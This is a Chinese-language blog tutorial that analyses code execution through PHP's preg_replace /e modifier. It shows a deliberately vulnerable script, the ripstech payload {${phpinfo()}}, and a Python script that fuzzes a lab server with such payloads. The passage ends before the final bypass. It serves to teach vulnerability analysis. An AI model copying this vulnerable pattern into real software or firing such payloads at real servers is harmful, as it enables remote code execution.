最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

深入研究preg_replace与代码执行

XAMPP案例 中文小张 670浏览 0评论

前言

本文将深入研究 preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的趣味非常多,相信看完本文,你一定会有所收获

案例

下面先看一个案例,思考如何利用此处的 preg_replace /e 模式,执行代码(可以先不看下文分析,自己思考出 payload 试试)。

<?php

header("Content-Type: text/plain");

function complexStrtolower($regex, $value){
    return preg_replace('/('. $regex. ')/ei', 'strtolower("\\1\")', $value);
}

var_dump($_GET);

foreach($_GET as $regex => $value){
   echo complexStrtolower($regex, $value)."\n";
}

这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,那这样要如何执行代码呢?

 

细节分析1:正则的反向引用

上面的命令执行,相当于 eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区
中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99
个捕获的子表达式。每个缓冲区都可以使用 ‘n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,以 ripstech 官方给的 payload 进行分析,方便大家理解。ripstech官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。

原先的语句:preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句:preg_replace('/(.*)/ei', 'strtolower("\\1")', "{${phpinfo()}}

细节分析2:非法字符被转换

上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数:

<?php
/*
echo preg_replace('/(.*)/ei', 'strtolower("\\1")', "{${phpinfo()}}");
*/
// test1.php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value){
    return preg_replace('/('. $regex. ')/ei', 'strtolower("\\1")', $value);
}

foreach($_GET as $regex => $value){
   echo complexStrtolower($regex, $value)."\n";
}

?>

请求uri:/preg/test1.php?.*=${phpinfo()},却无法执行!

为什么不执行呢?var_dump看到 $_GET后发现请求的 .* 变成了 _* :

<?php
//test1.php
/*
echo preg_replace('/(.*)/ei', 'strtolower("\\1")', "{${phpinfo()}}");
*/
header("Content-Type: text/plain");

function complexStrtolower($regex, $value){
    return preg_replace('/('. $regex. ')/ei', 'strtolower("\\1")', $value);
}

var_dump($_GET);

/*
foreach($_GET as $regex => $value){
   echo complexStrtolower($regex, $value)."\n";
}
*/
?>

原来是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线。
fuzz python脚本:

import os
import sys
import requests


for i in range(0, 256):
    url = "http://vulenv10.kylinlab.me/preg/test1.php?" + chr(i) + "*=${phpinfo()}"
    
    resp = requests.get(url)
    if "_" in resp.text:
        print("in: {0}".format(chr(i)))

转载请注明:XAMPP中文组官网 » 深入研究preg_replace与代码执行

您必须 登录 才能发表评论!